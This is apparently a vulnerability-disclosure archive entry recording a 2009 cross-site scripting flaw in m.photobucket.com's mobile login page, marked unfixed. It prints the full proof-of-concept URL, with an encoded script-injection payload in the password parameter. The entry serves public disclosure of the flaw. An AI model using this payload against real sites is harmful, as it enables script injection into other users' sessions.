Security researcher Azat Harutyunyan, has submitted on 06/06/2009 a cross-site-scripting (XSS) vulnerability affecting m.photobucket.com, which at the time of submission ranked 143 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 09/12/2011. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
Date submitted: 06/06/2009 |
Date published: 09/12/2011 |
Fixed? Mail us! | Status: UNFIXED |
URL: http://m.photobucket.com/login?ts=1244251203&sig=77e7b62a31063f40d0997b7248b27ced&mobile=true&passwo rd=%3E%3Cscript%3Ealert(%22Xssed%22)%3C%2Fscript%3E%3E%3Cscript%3Ealert(%22Xssed%22)%3C%2Fscript%3E% 3E%3Cscript%3Ealert(%22Xssed%22)%3C%2Fscript%3E%3E%3Csc&returnUrl=%2Fupload |
Click here to view the mirror
|
|
|